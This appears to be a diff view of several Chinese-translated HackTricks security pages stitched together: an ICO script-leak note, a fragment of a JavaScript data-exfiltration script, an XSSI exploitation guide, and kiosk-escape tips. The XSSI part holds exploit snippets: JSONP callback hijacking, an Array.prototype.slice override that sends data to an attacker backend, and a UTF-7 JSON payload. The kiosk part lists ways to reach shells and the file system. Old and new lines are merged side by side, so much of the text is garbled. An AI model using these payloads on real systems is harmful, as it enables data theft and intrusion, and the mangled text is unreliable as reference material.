## 将脚本内容视为ICO来泄漏 ## 通过将其视为 ICO 来泄露脚本内容
[**下一篇文章**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves)通过将脚本内容加载为ICO图像访问`width`参数来泄漏脚本内容。 [**下一篇文章**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) 通过将脚本内容作为 ICO 图像加载,访问 `width` 参数来泄露脚本内容。
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
```javascript ```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -118,16 +119,17 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data)) exfil_info("onmessage", encode(e.data))
} }
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,54 +1,51 @@
# XSSI (Cross-Site Script Inclusion) # XSSI (跨站脚本包含)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
\*\*跨站脚本包含XSSI\*\*是一种源自HTML中`script`标签特性的漏洞。与大多数资源不同,脚本可以从不同域中包含。这种行为旨在方便使用托管在不同服务器上的库和其他资源,但也引入了潜在的安全风险。 **跨站脚本包含 (XSSI)** 是一种由于 HTML 中 `script` 标签的特性而产生的漏洞。与大多数资源不同,**同源策略 (SOP)** 对脚本不适用,允许从不同域包含脚本。这种行为旨在促进使用托管在不同服务器上的库和其他资源,但也引入了潜在的安全风险。
### **XSSI**的关键特征: ### **XSSI** 的主要特征:
- **绕过 SOP**:脚本不受 **同源策略** 的限制,允许跨域包含。
* **绕过SOP**:脚本不受\*\*同源策略SOP\*\*的限制,允许它们跨域包含。 - **数据暴露**:攻击者可以利用这种行为读取通过 `script` 标签加载的数据。
* **数据暴露**:攻击者可以利用这种行为读取通过`script`标签加载的数据。 - **对动态 JavaScript/JSONP 的影响****XSSI** 对动态 JavaScript 或 **带填充的 JSON (JSONP)** 特别相关。这些技术通常使用“环境权限”信息(如 cookies进行身份验证。当向不同主机发出脚本请求时这些凭据例如 cookies会自动包含在请求中。
* **对动态JavaScript/JSONP的影响****XSSI**对动态JavaScript或\*\*带填充的JSONJSONP\*\*尤为重要。这些技术通常使用“环境授权”信息如cookies进行身份验证。当向不同主机发出脚本请求时这些凭据例如cookies会自动包含在请求中。 - **身份验证令牌泄露**:如果攻击者能够欺骗用户的浏览器请求来自他们控制的服务器的脚本,他们可能能够访问这些请求中包含的敏感信息。
* **身份验证令牌泄露**:如果攻击者能够欺骗用户的浏览器请求来自他们控制的服务器的脚本,他们可能能够访问这些请求中包含的敏感信息。
### 类型 ### 类型
1. **静态JavaScript** - 代表XSSI的传统形式 1. **静态 JavaScript** - 代表传统形式的 XSSI。
2. **带身份验证的静态JavaScript** - 这种类型不同,因为它需要身份验证才能访问。 2. **带身份验证的静态 JavaScript** - 这种类型不同,因为它需要身份验证才能访问。
3. **动态JavaScript** - 包括动态生成内容的JavaScript。 3. **动态 JavaScript** - 涉及动态生成内容的 JavaScript。
4. **非JavaScript** - 指不直接涉及JavaScript的漏洞。 4. **非 JavaScript** - 指不直接涉及 JavaScript 的漏洞。
**以下信息是**[**https://www.scip.ch/en/?labs.20160414**](https://www.scip.ch/en/?labs.20160414)**的摘要**。查看更多详细信息。 **以下信息是 [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) 的总结。请查看以获取更多详细信息。**
### 常规XSSI
在这种方法中私人信息嵌入在一个全局可访问的JavaScript文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦定位到包含私人信息的脚本就可以将其包含在恶意内容中从而未经授权地访问敏感数据。下面是一个示例利用技术
### 常规 XSSI
在这种方法中,私人信息嵌入在一个全球可访问的 JavaScript 文件中。攻击者可以使用文件读取、关键字搜索或正则表达式等方法识别这些文件。一旦找到,包含私人信息的脚本可以被包含在恶意内容中,从而允许未经授权访问敏感数据。下面展示了一种示例利用技术:
```html ```html
<script src="https://www.vulnerable-domain.tld/script.js"></script> <script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script> <script> alert(JSON.stringify(confidential_keys[0])); </script>
``` ```
### 动态JavaScript基础的XSSI和认证JavaScript-XSSI
这些类型的XSSI攻击涉及机密信息根据用户请求动态添加到脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同这可能表明存在机密信息。可以使用像[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)这样的Burp扩展来自动化此过程。
### 动态基于JavaScript的XSSI和经过身份验证的JavaScript-XSSI 如果机密数据存储在全局变量中可以使用与常规XSSI相似的方法进行利用。然而如果机密数据包含在JSONP响应中攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个由JSONP响应执行的函数来完成如下所示
这些类型的XSSI攻击涉及将机密信息动态添加到响应用户请求的脚本中。可以通过发送带有和不带有cookie的请求并比较响应来进行检测。如果信息不同可能表明存在机密信息。可以使用诸如[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp扩展等工具自动化此过程。
如果机密数据存储在全局变量中可以利用类似于常规XSSI中使用的方法进行利用。但是如果机密数据包含在JSONP响应中攻击者可以劫持回调函数以检索信息。这可以通过操纵全局对象或设置一个函数来执行JSONP响应来实现如下所示
```html ```html
<script> <script>
var angular = function () { return 1; }; var angular = function () { return 1; };
@ -68,22 +65,17 @@ alert(JSON.stringify(leaked));
</script> </script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script> <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
``` ```
对于不在全局命名空间中的变量,*prototype tampering* 有时可以被利用。该技术利用了 JavaScript 的设计,其中代码解释涉及遍历原型链以定位被调用的属性。通过重写某些函数,例如 `Array``slice`,攻击者可以访问并泄露非全局变量:
对于不驻留在全局命名空间中的变量有时可以利用_原型篡改_。该技术利用了JavaScript的设计其中代码解释涉及遍历原型链以定位调用的属性。通过覆盖某些函数比如`Array`的`slice`,攻击者可以访问并泄露非全局变量:
```javascript ```javascript
Array.prototype.slice = function(){ Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"] // leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this); sendToAttackerBackend(this);
}; };
``` ```
进一步的攻击向量细节可以在安全研究员 [Sebastian Lekies](https://twitter.com/slekies) 的工作中找到,他维护着一个 [vectors](http://sebastian-lekies.de/leak/) 列表。
进一步的攻击向量细节可以在安全研究人员[Sebastian Lekies](https://twitter.com/slekies)的作品中找到,他维护着一个[vectors](http://sebastian-lekies.de/leak/)列表。
### 非脚本-XSSI ### 非脚本-XSSI
寺田健的研究介绍了另一种形式的 XSSI其中非脚本文件如 CSV通过作为 `script` 标签中的源被跨域泄露。历史上 XSSI 的实例,如 Jeremiah Grossman 在 2006 年的攻击以读取完整的 Google 地址簿和 Joe Walker 在 2007 年的 JSON 数据泄露突显了这些威胁的严重性。此外Gareth Heyes 描述了一种攻击变体,涉及使用 UTF-7 编码的 JSON 来逃避 JSON 格式并执行脚本,在某些浏览器中有效:
Takeshi Terada的研究介绍了另一种XSSI形式其中非脚本文件如CSV通过在`script`标签中作为源被包含而跨源泄漏。XSSI的历史实例如Jeremiah Grossman在2006年攻击读取完整的Google通讯录和Joe Walker在2007年的JSON数据泄漏突显了这些威胁的严重性。此外Gareth Heyes描述了一种攻击变体涉及使用UTF-7编码的JSON来逃逸JSON格式并执行脚本在某些浏览器中有效
```javascript ```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
``` ```
@ -91,17 +83,17 @@ Takeshi Terada的研究介绍了另一种XSSI形式其中非脚本文件
```html ```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script> <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 检查GUI应用程序中可能的操作 # 检查 GUI 应用程序内可能的操作
**常见对话框**是指**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些选项将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,则可以访问资源管理器功能: **常见对话框**是指**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,它们将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能:
* 关闭/关闭 * 关闭/另存
* 打开/打开方式 * 打开/使用打开
* 打印 * 打印
* 导出/导入 * 导出/导入
* 搜索 * 搜索
@ -33,28 +34,28 @@
## 命令执行 ## 命令执行
也许**使用`打开方式`**选项**可以打开/执行某种类型的shell。 也许**使用 `Open with` 选项**您可以打开/执行某种 shell。
### Windows ### Windows
例如_cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可用于执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io) 例如 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可以用来执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __ ### \*NIX __
_bash, sh, zsh..._ 更多信息请参阅[https://gtfobins.github.io/](https://gtfobins.github.io) _bash, sh, zsh..._ 更多信息请[https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows # Windows
## 绕过路径限制 ## 绕过路径限制
* **环境变量**:有许多指向某些路径的环境变量 * **环境变量**:有很多环境变量指向某个路径
* **其他协议**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **其他协议**_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **符号链接** * **符号链接**
* **快捷方式**CTRL+N打开新会话CTRL+R执行命令CTRL+SHIFT+ESC任务管理器Windows+E打开资源管理器CTRL-BCTRL-I收藏夹CTRL-H历史记录CTRL-LCTRL-O文件/打开对话框CTRL-P打印对话框CTRL-S另存为 * **快捷方式**CTRL+N打开新会话CTRL+R执行命令CTRL+SHIFT+ESC任务管理器Windows+E打开资源管理器CTRL-BCTRL-I收藏夹CTRL-H历史记录CTRL-LCTRL-O文件/打开对话框CTRL-P打印对话框CTRL-S另存为
* 隐藏的管理菜单CTRL-ALT-F8CTRL-ESC-F9 * 隐藏的管理菜单CTRL-ALT-F8CTRL-ESC-F9
* **Shell URI**_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ * **Shell URIs**_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC路径**连接到共享文件夹的路径。您应该尝试连接到本地计算机的C$"\\\127.0.0.1\c$\Windows\System32" * **UNC 路径**:连接到共享文件夹的路径。您应该尝试连接到本地计算机的 C$"\\\127.0.0.1\c$\Windows\System32"
* **更多UNC路径:** * **更多 UNC 路径:**
| UNC | UNC | UNC | | UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- | | ------------------------- | -------------- | -------------------- |
@ -76,7 +77,7 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
## 从浏览器访问文件系统 ## 从浏览器访问文件系统
| 路径 | 路径 | 路径 | 路径 | | PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- | | ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | | File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | | File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
@ -88,45 +89,45 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
## 快捷键 ## 快捷键
* Sticky Keys SHIFT键5 * Sticky Keys SHIFT 5
* Mouse Keys SHIFT+ALT+NUMLOCK * Mouse Keys SHIFT+ALT+NUMLOCK
* High Contrast SHIFT+ALT+PRINTSCN * High Contrast SHIFT+ALT+PRINTSCN
* Toggle Keys 按住NUMLOCK键5秒钟 * Toggle Keys 按住 NUMLOCK 5 秒
* Filter Keys 按住右SHIFT键12秒钟 * Filter Keys 按住右 SHIFT 12 秒
* WINDOWS+F1 Windows搜索 * WINDOWS+F1 Windows 搜索
* WINDOWS+D 显示桌面 * WINDOWS+D 显示桌面
* WINDOWS+E 打开资源管理器 * WINDOWS+E 启动 Windows 资源管理器
* WINDOWS+R 运行 * WINDOWS+R 运行
* WINDOWS+U 辅助功能中心 * WINDOWS+U 辅助功能中心
* WINDOWS+F 搜索 * WINDOWS+F 搜索
* SHIFT+F10 上下文菜单 * SHIFT+F10 上下文菜单
* CTRL+SHIFT+ESC 任务管理器 * CTRL+SHIFT+ESC 任务管理器
* CTRL+ALT+DEL 在较新的Windows版本上显示启动画面 * CTRL+ALT+DEL 在较新 Windows 版本上的启动画面
* F1 帮助 F3 搜索 * F1 帮助 F3 搜索
* F6 地址栏 * F6 地址栏
* F11 在Internet Explorer中切换全屏 * F11 Internet Explorer 中切换全屏
* CTRL+H Internet Explorer历史记录 * CTRL+H Internet Explorer 历史记录
* CTRL+T Internet Explorer 新标签 * CTRL+T Internet Explorer 新标签
* CTRL+N Internet Explorer 新页面 * CTRL+N Internet Explorer 新页面
* CTRL+O 打开文件 * CTRL+O 打开文件
* CTRL+S 保存 CTRL+N 新RDP / Citrix * CTRL+S 保存 CTRL+N RDP / Citrix
## 滑动手势 ## 滑动操作
* 从左侧向右滑动以查看所有打开的窗口最小化KIOSK应用程序并直接访问整个操作系统 * 从左侧向右滑动以查看所有打开的窗口,最小化 KIOSK 应用程序并直接访问整个操作系统;
* 从右侧向左滑动以打开操作中心最小化KIOSK应用程序并直接访问整个操作系统 * 从右侧向左滑动以打开操作中心,最小化 KIOSK 应用程序并直接访问整个操作系统;
* 从顶部边缘向内滑动,使全屏模式下打开的应用程序的标题栏可见; * 从顶部边缘向下滑动以使全屏模式下的应用程序的标题栏可见;
* 从底部向上滑动,显示全屏应用程序中的任务栏。 * 从底部向上滑动以在全屏应用程序中显示任务栏。
## Internet Explorer技巧 ## Internet Explorer 技巧
### '图像工具栏' ### '图像工具栏'
这是一个工具栏,当单击图像时会出现在图像的左上角。您将能够保存、打印、发送电子邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。 这是一个在单击图像时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk 需要使用 Internet Explorer。
### Shell协议 ### Shell 协议
键入以下URL以获取资源管理器视图: 输入以下 URL 以获取资源管理器视图:
* `shell:Administrative Tools` * `shell:Administrative Tools`
* `shell:DocumentsLibrary` * `shell:DocumentsLibrary`
@ -152,49 +153,49 @@ _bash, sh, zsh..._ 更多信息请参阅:[https://gtfobins.github.io/](https:/
## 显示文件扩展名 ## 显示文件扩展名
查看此页面以获取更多信息:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) 查看此页面以获取更多信息:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# 浏览器技巧 # 浏览器技巧
备份iKat版本 备份 iKat 版本:
[http://swin.es/k/](http://swin.es/k/)\ [http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
使用JavaScript创建通用对话框并访问文件资源管理器:`document.write('<input/type=file>')` 使用 JavaScript 创建一个常见对话框并访问文件资源管理器:`document.write('<input/type=file>')`
来源https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 来源https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad # iPad
## 手势和按钮 ## 手势和按钮
* 使用四(或五)个手指向上滑动/双击Home按钮查看多任务视图并更改应用程序 * 用四(或五)个手指向上滑动 / 双击 Home 按钮:查看多任务视图并更改应用程序
* 使用四或五个手指向左或向右滑动:以切换到下一个/上一个应用程序 * 用四或五个手指向一侧滑动:以更改到下一个/上一个应用程序
* 用五个手指捏屏幕/触摸Home按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕 * 用五个手指捏合屏幕 / 按下 Home 按钮 / 用 1 个手指从屏幕底部快速向上滑动:访问主屏幕
* 用一个手指从屏幕底部向上缓慢滑动1-2英寸会出现Dock * 用 1 个手指从屏幕底部滑动 1-2 英寸(慢):停靠栏将出现
* 用一个手指从屏幕顶部向下滑动:查看通知 * 用 1 个手指从显示器顶部向下滑动:查看通知
* 用一个手指从屏幕右上角向下滑动查看iPad Pro的控制中心 * 用 1 个手指从屏幕右上角向下滑动:查看 iPad Pro 的控制中心
* 用一个手指从屏幕左侧向右滑动1-2英寸查看今天视图 * 用 1 个手指从屏幕左侧滑动 1-2 英寸:查看今日视图
* 用一个手指快速从屏幕中心向右或向左滑动:切换到下一个/上一个应用程序 * 用 1 个手指从屏幕中心快速向右或向左滑动:更改到下一个/上一个应用程序
* 按住iPad右上角的On/**Off**/Sleep按钮 + 将滑块全部向右移动:关机 * 按住右上角的开/关/睡眠按钮 + 将滑块移动到右侧以**关闭电源**:关闭电源
* 按住iPad右上角的On/**Off**/Sleep按钮 + Home按钮几秒钟:强制硬关机 * 按住右上角的开/关/睡眠按钮和 Home 按钮几秒钟:强制硬关机
